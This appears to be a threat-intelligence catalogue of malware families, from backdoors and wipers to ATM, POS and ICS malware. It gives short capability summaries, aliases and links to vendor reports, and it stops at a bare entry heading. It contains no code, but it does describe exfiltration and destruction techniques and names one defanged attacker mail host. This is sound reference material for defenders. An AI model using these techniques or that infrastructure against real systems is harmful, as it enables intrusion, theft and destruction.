The ALMA Communicator Trojan is a backdoor Trojan that uses DNS tunneling exclusively to receive commands from the adversary and to exfiltrate data. This Trojan specifically reads in a configuration from the cfg file that was initially created by the Clayslide delivery document. ALMA does not have an internal configuration, so the Trojan does not function without the cfg file created by the delivery document.
Links |
Silence
In September 2017, we discovered a new targeted attack on financial institutions. Victims are mostly Russian banks but we also found infected organizations in Malaysia and Armenia. The attackers were using a known but still very effective technique for cybercriminals looking to make money: gaining persistent access to an internal banking network for a long period of time, making video recordings of the day to day activity on bank employees’ PCs, learning how things works in their target banks, what software is being used, and then using that knowledge to steal as much money as possible when ready. We saw that technique before in Carbanak, and other similar cases worldwide. The infection vector is a spear-phishing email with a malicious attachment. An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims.
Links |
Volgmer
Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. Since at least 2013, HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government, financial, automotive, and media industries. It is suspected that spear phishing is the primary delivery mechanism for Volgmer infections; however, HIDDEN COBRA actors use a suite of custom tools, some of which could also be used to initially compromise a system. Therefore, it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer
Links |
Nymaim
Nymaim is a 2-year-old strain of malware most closely associated with ransomware. We have seen recent attacks spreading it using an established email marketing service provider to avoid blacklists and detection tools. But instead of ransomware, the malware is now being used to distribute banking Trojans
Links |
https://www.proofpoint.com/us/what-old-new-again-nymaim-moves-past-its-ransomware-roots-0 |
GootKit
As was the case earlier, the bot Gootkit is written in NodeJS, and is downloaded to a victim computer via a chain of downloaders. The main purpose of the bot also remained the same – to steal banking data. The new Gootkit version, detected in September, primarily targets clients of European banks, including those in Germany, France, Italy, the Netherlands, Poland, etc.
GootKit is also known as:
-
Gootkit
Agent Tesla
Agent Tesla is modern powerful keystroke logger. It provides monitoring your personel computer via keyboard and screenshot. Keyboard, screenshot and registered passwords are sent in log. You can receive your logs via e-mail, ftp or php(web panel).
Links |
Ordinypt
A new ransomware strain called Ordinypt is currently targeting victims in Germany, but instead of encrypting users' documents, the ransomware rewrites files with random data. Ordinypt is actually a wiper and not ransomware because it does not bother encrypting anything, but just replaces files with random data.
Ordinypt is also known as:
-
HSDFSDCrypt
Links |
StrongPity2
Detected by ESET as Win32/StrongPity2, this spyware notably resembles one that was attributed to the group called StrongPity.
StrongPity2 is also known as:
-
Win32/StrongPity2
Links |
https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/ |
wp-vcd
WordPress site owners should be on the lookout for a malware strain tracked as wp-vcd that hides in legitimate WordPress files and that is used to add a secret admin user and grant attackers control over infected sites. The malware was first spotted online over the summer by Italian security researcher Manuel D’Orso. The initial version of this threat was loaded via an include call for the wp-vcd.php file —hence the malware’s name— and injected malicious code into WordPress core files such as functions.php and class.wp.php. This was not a massive campaign, but attacks continued throughout the recent months.
Links |
https://www.bleepingcomputer.com/news/security/wp-vcd-wordpress-malware-campaign-is-back/ |
MoneyTaker 5.0
malicious program for auto replacement of payment data in AWS CBR
Links |
Quant Loader
Described as a "professional exe loader / dll dropper" Quant Loader is in fact a very basic trojan downloader. It began being advertised on September 1, 2016 on various Russian underground forums.
Links |
SSHDoor
The Secure Shell Protocol (SSH) is a very popular protocol used for secure data communication. It is widely used in the Unix world to manage remote servers, transfer files, etc. The modified SSH daemon described here, Linux/SSHDoor.A, is designed to steal usernames and passwords and allows remote access to the server via either an hardcoded password or SSH key.
Links |
TRISIS
(Dragos Inc.) The team identifies this malware as TRISIS because it targets Schneider Electric’s Triconex safety instrumented system (SIS) enabling the replacement of logic in final control elements. TRISIS is highly targeted and likely does not pose an immediate threat to other Schneider Electric customers, let alone other SIS products. (FireEye Inc.) This malware, which we call TRITON, is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state preparing for an attack. TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS). It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016.
TRISIS is also known as:
-
TRITON
Links |
OSX.Pirrit
macOS adware strain
OSX.Pirrit is also known as:
-
OSX/Pirrit
GratefulPOS
GratefulPOS has the following functions 1. Access arbitrary processes on the target POS system 2. Scrape track 1 and 2 payment card data from the process(es) 3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.
Links |
PRILEX
Prilex malware steals the information of the infected ATM’s users. In this case, it was a Brazilian bank, but consider the implications of such an attack in your region, whether you’re a customer or the bank.
Links |
CUTLET MAKER
Cutlet Maker is an ATM malware designed to empty the machine of all its banknotes. Interestingly, while its authors have been advertising its sale, their competitors have already cracked the program, allowing anybody to use it for free.
Links |
Satori
According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants.Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot.The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869.Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.
Satori is also known as:
-
Okiru
Links |
https://blog.fortinet.com/2017/12/12/rise-of-one-more-mirai-worm-variant |
PowerSpritz
PowerSpritz is a Windows executable that hides both its legitimate payload and malicious PowerShell command using a non-standard implementation of the already rarely used Spritz encryption algorithm (see the Attribution section for additional analysis of the Spritz implementation). This malicious downloader has been observed being delivered via spearphishing attacks using the TinyCC link shortener service to redirect to likely attacker-controlled servers hosting the malicious PowerSpritz payload.
Links |
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf |
PowerRatankba
PowerRatankba is used for the same purpose as Ratankba: as a first stage reconnaissance tool and for the deployment of further stage implants on targets that are deemed interesting by the actor. Similar to its predecessor, PowerRatankba utilizes HTTP for its C&C communication.
Links |
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf |
Ratankba
In one instance we observed, one of the initial malware delivered to the victim, RATANKBA, connects to a legitimate but compromised website from which a hack tool (nbt_scan.exe) is also downloaded. The domain also serves as one of the campaign’s platform for C&C communication. The threat actor uses RATANKBA to survey the lay of the land as it looks into various aspects of the host machine where it has been initially downloaded—the machine that has been victim of the watering hole attack. Information such as the running tasks, domain, shares, user information, if the host has default internet connectivity, and so forth.
Links |
USBStealer
USBStealer serves as a network tool that extracts sensitive information from air-gapped networks. We have not seen this component since mid 2015.
Links |
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/ |
Downdelph
Downdelph is a lightweight downloader developed in the Delphi programming language. As we already mentioned in our white paper, its period of activity was from November 2013 to September 2015 and there have been no new variants seen since.
Links |
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/ |
CoinMiner
Monero-mining malware
Links |
https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/ |
FruitFly
A fully-featured backdoor, designed to perversely spy on Mac users
Links |
MacDownloader
Iranian macOS exfiltration agent, targeting the 'defense industrial base' and human rights advocates.
MacDownloader is also known as:
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iKitten
Links |
Empyre
The open-source macOS backdoor, 'Empye', maliciously packaged into a macro’d Word document
Empyre is also known as:
-
Empye
Links |
Proton
A fully-featured macOS backdoor, designed to collect and exfiltrate sensitive user data such as 1Password files, browser login data, and keychains.
Links |
Mughthesec
Adware which hijacks a macOS user’s homepage to redirect search queries.
Links |
Pwnet
A macOS crypto-currency miner, distributed via a trojaned 'CS-GO' hack.
Links |
Travle
The Travle sample found during our investigation was a DLL with a single exported function (MSOProtect). The malware name Travle was chosen given a string found in early samples of this family: “Travle Path Failed!”. This typo was replaced with correct word “Travel” in newer releases. We believe that Travle could be a successor to the NetTraveler family.
Travle is also known as:
-
PYLOT
Links |
https://securelist.com/travle-aka-pylot-backdoor-hits-russian-speaking-targets/83455/ |
Digmine
Digmine is coded in AutoIt, and sent to would-be victims posing as a video file but is actually an AutoIt executable script. If the user’s Facebook account is set to log in automatically, Digmine will manipulate Facebook Messenger in order to send a link to the file to the account’s friends. The abuse of Facebook is limited to propagation for now, but it wouldn’t be implausible for attackers to hijack the Facebook account itself down the line. This functionality’s code is pushed from the command-and-control (C&C) server, which means it can be updated.
Links |
TSCookie
TSCookie itself only serves as a downloader. It expands functionality by downloading modules from C&C servers. The sample that was examined downloaded a DLL file which has exfiltrating function among many others (hereafter “TSCookieRAT”). Downloaded modules only runs on memory.
Links |
http://blog.jpcert.or.jp/.s/2018/03/malware-tscooki-7aa0.html |
Exforel
Exforel backdoor malware, VirTool:WinNT/Exforel.A, backdoor implemented at the Network Driver Interface Specification (NDIS) level.
Links |
Rotinom
W32.Rotinom is a worm that spreads by copying itself to removable drives.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-011117-0057-99 |
Aurora
You probably have heard the recent news about a widespread attack that was carried out using a 0-Day exploit for Internet Explorer as one of the vectors. This exploit is also known as the "Aurora Exploit". The code has recently gone public and it was also added to the Metasploit framework. This exploit was used to deliver a malicious payload, known by the name of Trojan.Hydraq, the main purpose of which was to steal information from the compromised computer and report it back to the attackers. The exploit code makes use of known techniques to exploit a vulnerability that exists in the way Internet Explorer handles a deleted object. The final purpose of the exploit itself is to access an object that was previously deleted, causing the code to reference a memory location over which the attacker has control and in which the attacker dropped his malicious code.
Aurora is also known as:
-
Hydraq
Cheshire Cat
Oldest Cheshire Cat malware compiled in 2002. It’s a very old family of malware. The time stamps may be forged but the malware does have support for very old operating systems. The 2002 implant retrieves a handle for an asr2892 drives that they never got their hands on. It checks for a NE header which is a header type used before PE headers even existed. References to 16bit or DOS on a non 9x platform. This malware implant IS REALLY for old systems. The malware is for espionage - it’s very carefully made to stay hidden. Newer versions install as icon handler shell extension for .lnk files. Shell in this case means the program manager because windows explorer was not yet a thing. It sets up COM server objects. It looks like it was written in pure C, but made to look like C++. A sensitive implant as well: it checks for all kinds of old MS platforms including Windows NT, win95, win98, winME and more. It checks the patch level as well. A lot of effort was put into adapting this malware to a lot of different operating systems with very granular decision chains.
Links |
https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/ |
Downloader-FGO
Downloader-FGO is a trojan that comes hidden in malicious programs. Once you install the source (carrier) program, this trojan attempts to gain "root" access (administrator level access) to your computer without your knowledge
Downloader-FGO is also known as:
-
Win32:Malware-gen
-
Generic30.ASYL (Trojan horse)
-
TR/Agent.84480.85
-
Trojan.Generic.8627031
-
Trojan:Win32/Sisproc
-
SB/Malware
-
Trj/CI.A
-
Mal/Behav-112
-
Trojan.Spuler
-
TROJ_KAZY.SM1
-
Win32/FakePPT_i
Links |
https://www.solvusoft.com/en/malware/trojans/downloader-fgo/ |
miniFlame
Newly discovered spying malware designed to steal data from infected systems was likely built from the same cyber-weaponry factory that produced two other notorious cyberespionage software Flame and Gauss, a security vendor says. Kaspersky Lab released a technical paper Monday outlining the discovery of the malware the vendor has dubbed "miniFlame." While capable of working with Flame and Gauss, miniFlame is a "small, fully functional espionage module designed for data theft and direct access to infected systems," Kaspersky said.
Links |
https://securelist.com/miniflame-aka-spe-elvis-and-his-friends-5/31730/ |
GHOTEX
PE_GHOTEX.A-O is a portable executable (PE is the standard executable format for 32-bit Windows files) virus. PE viruses infect executable Windows files by incorporating their code into these files such that they are executed when the infected files are opened.
Links |
https://www.trendmicro.com/vinfo/dk/threat-encyclopedia/archive/malware/pe_ghotex.a-o |
Shipup
Trojan:Win32/Shipup.G is a trojan that modifies the Autorun feature for certain devices.
Links |
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32ShipUp-F/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32ShipUp-F/detailed-analysis.aspx] |
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojShipUp-A/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojShipUp-A/detailed-analysis.aspx] |
Neuron
Neuron consists of both client and server components. The Neuron client and Neuron service are written using the .NET framework with some codebase overlaps. The Neuron client is used to infect victim endpoints and extract sensitive information from local client machines. The Neuron server is used to infect network infrastructure such as mail and web servers, and acts as local Command & Control (C2) for the client component. Establishing a local C2 limits interaction with the target network and remote hosts. It also reduces the log footprint of actor infrastructure and enables client interaction to appear more convincing as the traffic is contained within the target network.
Links |
Nautilus
Nautilus is very similar to Neuron both in the targeting of mail servers and how client communications are performed. This malware is referred to as Nautilus due to its embedded internal DLL name “nautilus-service.dll”, again sharing some resemblance to Neuron. The Nautilus service listens for HTTP requests from clients to process tasking requests such as executing commands, deleting files and writing files to disk
Links |
Gamut Botnet
Gamut was found to be downloaded by a Trojan Downloader that arrives as an attachment from a spam email message. The bot installation is quite simple. After the malware binary has been downloaded, it launches itself from its current directory, usually the Windows %Temp% folder and installs itself as a Windows service. The malware utilizes an anti-VM (virtual machine) trick and terminates itself if it detects that it is running in a virtual machine environment. The bot uses INT 03h trap sporadically in its code, an anti-debugging technique which prevents its code from running within a debugger environment. It can also determine if it is being debugged by using the Kernel32 API - IsDebuggerPresent function.
Links |
https://www.trustwave.com/Resources/SpiderLabs-Blog/Gamut-Spambot-Analysis/ |
CORALDECK
CORALDECK is an exfiltration tool that searches for specified files and exfiltrates them in password protected archives using hardcoded HTTP POST headers. CORALDECK has been observed dropping and using Winrar to exfiltrate data in password protected RAR files as well as WinImage and zip archives
CORALDECK is also known as:
-
APT.InfoStealer.Win.CORALDECK
-
FE_APT_InfoStealer_Win_CORALDECK_1
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
DOGCALL
DOGCALL is a backdoor commonly distributed as an encoded binary file downloaded and decrypted by shellcode following the exploitation of weaponized documents. DOGCALL is capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex. DOGCALL was used to target South Korean Government and military organizations in March and April 2017. The malware is typically dropped using an HWP exploit in a lure document. The wiper tool, RUHAPPY, was found on some of the systems targeted by DOGCALL. While DOGCALL is primarily an espionage tool, RUHAPPY is a destructive wiper tool meant to render systems inoperable.
DOGCALL is also known as:
-
FE_APT_RAT_DOGCALL
-
FE_APT_Backdoor_Win32_DOGCALL_1
-
APT.Backdoor.Win.DOGCALL
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
GELCAPSULE
GELCAPSULE is a downloader traditionally dropped or downloaded by an exploit document. GELCAPSULE has been observed downloading SLOWDRIFT to victim systems.
GELCAPSULE is also known as:
-
FE_APT_Downloader_Win32_GELCAPSULE_1
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
HAPPYWORK
HAPPYWORK is a malicious downloader that can download and execute a second-stage payload, collect system information, and beacon it to the command and control domains. The collected system information includes: computer name, user name, system manufacturer via registry, IsDebuggerPresent state, and execution path. In November 2016, HAPPYWORK targeted government and financial targets in South Korea.
HAPPYWORK is also known as:
-
FE_APT_Downloader_HAPPYWORK
-
FE_APT_Exploit_HWP_Happy
-
Downloader.APT.HAPPYWORK
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
KARAE
Karae backdoors are typically used as first-stage malware after an initial compromise. The backdoors can collect system information, upload and download files, and may be used to retrieve a second-stage payload. The malware uses public cloud-based storage providers for command and control. In March 2016, KARAE malware was distributed through torrent file-sharing websites for South Korean users. During this campaign, the malware used a YouTube video downloader application as a lure.
KARAE is also known as:
-
FE_APT_Backdoor_Karae_enc
-
FE_APT_Backdoor_Karae
-
Backdoor.APT.Karae
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
MILKDROP
MILKDROP is a launcher that sets a persistence registry key and launches a backdoor.
MILKDROP is also known as:
-
FE_Trojan_Win32_MILKDROP_1
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
POORAIM
POORAIM malware is designed with basic backdoor functionality and leverages AOL Instant Messenger for command and control communications. POORAIM includes the following capabilities: System information enumeration, File browsing, manipulation and exfiltration, Process enumeration, Screen capture, File execution, Exfiltration of browser favorites, and battery status. Exfiltrated data is sent via files over AIM. POORAIM has been involved in campaigns against South Korean media organizations and sites relating to North Korean refugees and defectors since early 2014. Compromised sites have acted as watering holes to deliver newer variants of POORAIM.
POORAIM is also known as:
-
Backdoor.APT.POORAIM
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
RICECURRY
RICECURRY is a Javascript based profiler used to fingerprint a victim’s web browser and deliver malicious code in return. Browser, operating system, and Adobe Flash version are detected by RICECURRY, which may be a modified version of PluginDetect.
RICECURRY is also known as:
-
Exploit.APT.RICECURRY
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
RUHAPPY
RUHAPPY is a destructive wiper tool seen on systems targeted by DOGCALL. It attempts to overwrite the MBR, causing the system not to boot. When victims' systems attempt to boot, the string 'Are you Happy?' is displayed. The malware is believed to be tied to the developers of DOGCALL and HAPPYWORK based on similar PDB paths in all three.
RUHAPPY is also known as:
-
FE_APT_Trojan_Win32_RUHAPPY_1
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
SHUTTERSPEED
SHUTTERSPEED is a backdoor that can collect system information, acquire screenshots, and download/execute an arbitrary executable. SHUTTERSPEED typically requires an argument at runtime in order to execute fully. Observed arguments used by SHUTTERSPEED include: 'help', 'console', and 'sample'. The spear phishing email messages contained documents exploiting RTF vulnerability CVE-2017-0199. Many of the compromised domains in the command and control infrastructure are linked to South Korean companies. Most of these domains host a fake webpage pertinent to targets.
SHUTTERSPEED is also known as:
-
FE_APT_Backdoor_SHUTTERSPEED
-
APT.Backdoor.SHUTTERSPEED
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
SLOWDRIFT
SLOWDRIFT is a launcher that communicates via cloud based infrastructure. It sends system information to the attacker command and control and then downloads and executes additional payloads.Lure documents distributing SLOWDRIFT were not tailored for specific victims, suggesting that TEMP.Reaper is attempting to widen its target base across multiple industries and in the private sector. SLOWDRIFT was seen being deployed against academic and strategic targets in South Korea using lure emails with documents leveraging the HWP exploit. Recent SLOWDRIFT samples were uncovered in June 2017 with lure documents pertaining to cyber crime prevention and news stories. These documents were last updated by the same actor who developed KARAE, POORAIM and ZUMKONG.
SLOWDRIFT is also known as:
-
FE_APT_Downloader_Win_SLOWDRIFT_1
-
FE_APT_Downloader_Win_SLOWDRIFT_2
-
APT.Downloader.SLOWDRIFT
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
SOUNDWAVE
SOUNDWAVE is a windows based audio capturing utility. Via command line it accepts the -l switch (for listen probably), captures microphone input for 100 minutes, writing the data out to a log file in this format: C:\Temp\HncDownload\YYYYMMDDHHMMSS.log.
SOUNDWAVE is also known as:
-
FE_APT_HackTool_Win32_SOUNDWAVE_1
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
ZUMKONG
ZUMKONG is a credential stealer capable of harvesting usernames and passwords stored by Internet Explorer and Chrome browsers. Stolen credentials are emailed to the attacker via HTTP POST requests to mail[.]zmail[.]ru.
ZUMKONG is also known as:
-
FE_APT_Trojan_Zumkong
-
Trojan.APT.Zumkong
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
WINERACK
WINERACK is backdoor whose primary features include user and host information gathering, process creation and termination, filesystem and registry manipulation, as well as the creation of a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands. Other capabilities include the enumeration of files, directories, services, active windows and processes.
WINERACK is also known as:
-
FE_APT_Backdoor_WINERACK
-
Backdoor.APT.WINERACK
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
RoyalCli
The RoyalCli backdoor appears to be an evolution of BS2005 and uses familiar encryption and encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the binary: 'c:\users\wizard\documents\visual studio 2010\Projects\RoyalCli\Release\RoyalCli.pdb' RoyalCli and BS2005 both communicate with the attacker’s command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2. Due to the nature of the technique, this results in C2 data being cached to disk by the IE process; we’ll get to this later.
Links |
RoyalDNS
Links |
SHARPKNOT
Links |
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf |
KillDisk Wiper
KillDisk, along with the multipurpose, cyberespionage-related BlackEnergy, was used in cyberattacks in late December 2015 against Ukraine’s energy sector as well as its banking, rail, and mining industries. The malware has since metamorphosed into a threat used for digital extortion, affecting Windows and Linux platforms. The note accompanying the ransomware versions, like in the case of Petya, was a ruse: Because KillDisk also overwrites and deletes files (and don’t store the encryption keys on disk or online), recovering the scrambled files was out of the question. The new variant we found, however, does not include a ransom note.
KillDisk Wiper is also known as:
-
KillDisk
Links |
UselessDisk
A new MBR bootlocker called DiskWriter, or UselessDisk, has been discovered that overwrites the MBR of a victim’s computer and then displays a ransom screen on reboot instead of booting into Windows. This ransom note asks for $300 in bitcoins in order to gain access to Windows again. Might be a wiper.
UselessDisk is also known as:
-
DiskWriter
Links |
GoScanSSH
During a recent Incident Response (IR) engagement, Talos identified a new malware family that was being used to compromise SSH servers exposed to the internet. This malware, which we have named GoScanSSH, was written using the Go programming language, and exhibited several interesting characteristics. This is not the first malware family that Talos has observed that was written using Go. However, it is relatively uncommon to see malware written in this programming language. In this particular case, we also observed that the attacker created unique malware binaries for each host that was infected with the GoScanSSH malware. Additionally, the GoScanSSH command and control (C2) infrastructure was observed leveraging the Tor2Web proxy service in an attempt to make tracking the attacker-controlled infrastructure more difficult and resilient to takedowns.
Links |
http://blog.talosintelligence.com/2018/03/goscanssh-analysis.html |
Rovnix
We recently found that the malware family ROVNIX is capable of being distributed via macro downloader. This malware technique was previously seen in the DRIDEX malware, which was notable for using the same routines. DRIDEX is also known as the successor of the banking malware CRIDEX.
Rovnix is also known as:
-
ROVNIX
Links |
Kwampirs
Once Orangeworm has infiltrated a victim’s network, they deploy Trojan.Kwampirs, a backdoor Trojan that provides the attackers with remote access to the compromised computer. When executed, Kwampirs decrypts and extracts a copy of its main DLL payload from its resource section. Before writing the payload to disk, it inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.
Links |
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia |
Rubella Macro Builder
A crimeware kit dubbed the Rubella Macro Builder has recently been gaining popularity among members of a top-tier Russian hacking forum. Despite being relatively new and unsophisticated, the kit has a clear appeal for cybercriminals: it’s cheap, fast, and can defeat basic static antivirus detection.
Links |
https://www.flashpoint-intel.com/blog/rubella-macro-builder/ |
kitty Malware
Researchers at Imperva’s Incapsula said a new piece malware called Kitty leaves a note for cat lovers. It attacks the Drupal content management system (CMS) to illegally mine cryptocurrency Monero.
Maikspy
We discovered a malware family called Maikspy — a multi-platform spyware that can steal users’ private data. The spyware targets Windows and Android users, and first posed as an adult game named after a popular U.S.-based adult film actress. Maikspy, which is an alias that combines the name of the adult film actress and spyware, has been around since 2016.
Links |
Huigezi malware
backdoor trojan popular found prevalently in China
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FacexWorm
Facebook, Chrome, and cryptocurrency users should be on the lookout for a new malware strain named FacexWorm that infects victims for the purpose of stealing passwords, stealing cryptocurrency funds, running cryptojacking scripts, and spamming Facebook users. This new strain was spotted in late April by Trend Micro researchers and appears to be related to two other Facebook Messenger spam campaigns, one that took place last August, and another one from December 2017, the latter spreading the Digmine malware. Researchers say FacexWorm’s modus operandi is similar to the previous two campaigns, but with the addition of new techniques aimed at cryptocurrency users.
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Bankshot
implant used in Operation GhostSecret
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https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/ |
Proxysvc
downloader used in Operation GhostSecret
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https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/ |
Escad
backdoor used in Operation GhostSecret
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https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/ |
StalinLocker
A new in-development screenlocker/wiper called StalinLocker, or StalinScreamer, was discovered by MalwareHunterTeam that gives you 10 minutes to enter a code or it will try to delete the contents of the drives on the computer. While running, it will display screen that shows Stalin while playing the USSR anthem and displaying a countdown until files are deleted.
StalinLocker is also known as:
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StalinScreamer
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VPNFilter
Advanced, likely state-sponsored or state-affiliated modular malware. The code of this malware overlaps with versions of the BlackEnergy malware. Targeted devices are Linksys, MikroTik, NETGEAR and TP-Link networking equipment in the small and home office (SOHO) space, as well as QNAP network-attached storage (NAS) systems.
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https://www.fortinet.com/blog/threat-research/defending-against-the-new-vpnfilter-botnet.html |
Iron Backdoor
Iron Backdoor uses a virtual machine detection code taken directly from HackingTeam’s Soldier implant leaked source code. Iron Backdoor is also using the DynamicCall module from HackingTeam core library. Backdoor was used to drop cryptocurrency miners.
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https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/ |
Brambul
Brambul malware is a malicious Windows 32-bit SMB worm that functions as a service dynamic link library file or a portable executable file often dropped and installed onto victims’ networks by dropper malware. When executed, the malware attempts to establish contact with victim systems and IP addresses on victims’ local subnets. If successful, the application attempts to gain unauthorized access via the SMB protocol (ports 139 and 445) by launching brute-force password attacks using a list of embedded passwords. Additionally, the malware generates random IP addresses for further attacks.
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PLEAD
PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.
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https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html |
BabaYaga
The group behind BabaYaga —believed to be Russian-speaking hackers— uses this malware to inject sites with special keyboards to drive SEO traffic to hidden pages on compromised sites. These pages are then used to redirect users to affiliate marketing links, where if the user purchases advertised goods, the hackers also make a profit. The malware per-se is comprised of two modules —one that injects the spam content inside the compromised sites, and a backdoor module that gives attackers control over an infected site at any time. The intricacies of both modules are detailed in much more depth in this 26-page report authored by Defiant (formerly known as WordFence), the security firm which dissected the malware’s more recent versions. "[BabaYaga] is relatively well-written, and it demonstrates that the author has some understanding of software development challenges, like code deployment, performance and management," Defiant researchers say. "It can also infect Joomla and Drupal sites, or even generic PHP sites, but it is most fully developed around Wordpress."
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https://www.bleepingcomputer.com/news/security/lol-babayaga-wordpress-malware-updates-your-site/ |
InvisiMole
Except for the malware’s binary file, very little is known of who’s behind it, how it spreads, or in what types of campaigns has this been used.
"Our telemetry indicates that the malicious actors behind this malware have been active at least since 2013, yet the cyber-espionage tool was never analyzed nor detected until discovered by ESET products on compromised computers in Ukraine and Russia," said ESET researcher Zuzana Hromcová, who recently penned an in-depth report about this new threat.
"All infection vectors are possible, including installation facilitated by physical access to the machine," Hromcová added.
Typical to malware used in highly-targeted attacks, the malware has been stripped of most clues that could lead researchers back to its author. With the exception of one file (dating to October 13, 2013), all compilation dates have been stripped and replaced with zeros, giving little clues regarding its timeline and lifespan.
Furthermore, the malware is some clever piece of coding in itself, as it’s comprised of two modules, both with their own set of spying features, but which can also help each other in exfiltrating data.
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Roaming Mantis
Roaming Mantis malware is designed for distribution through a simple, but very efficient trick based on a technique known as DNS hijacking. When a user attempts to access any website via a compromised router, they will be redirected to a malicious website. For example, if a user were to navigate to www.securelist.com using a web browser, the browser would be redirected to a rogue server which has nothing to do with the security research blog. As long as the browser displays the original URL, users are likely to believe the website is genuine. The web page from the rogue server displays the popup message: To better experience the browsing, update to the latest chrome version.
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https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/ |
PLEAD Downloader
PLEAD is referred to both as a name of malware including TSCookie and its attack campaign. PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.
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https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html |
ClipboardWalletHijacker
The malware’s purpose is to intercept content recorded in the Windows clipboard, look for strings resembling Bitcoin and Ethereum addresses, and replace them with ones owned by the malware’s authors. ClipboardWalletHijacker’s end-plan is to hijack BTC and ETH transactions, so victims unwittingly send funds to the malware’s authors.
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Olympic Destroyer
The Winter Olympics this year is being held in Pyeongchang, South Korea. The Guardian, a UK Newspaper reported an article that suggested the Olympic computer systems suffered technical issues during the opening ceremony. Officials at the games confirmed some technical issues to non-critical systems and they completed recovery within around 12 hours. Sunday 11th February the Olympic games officials confirmed a cyber attack occurred but did not comment or speculate further. Talos have identified the samples, with moderate confidence, used in this attack. The infection vector is currently unknown as we continue to investigate. The samples identified, however, are not from adversaries looking for information from the games but instead they are aimed to disrupt the games. The samples analysed appear to perform only destructive functionality. There does not appear to be any exfiltration of data. Analysis shows that actors are again favouring legitimate pieces of software as PsExec functionality is identified within the sample. The destructive nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec & WMI to further move through the environment. This is something we have witnessed previously with BadRabbit and Nyetya.
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https://blog.talosintelligence.com/2018/02/olympic-destroyer.html |
DDKONG
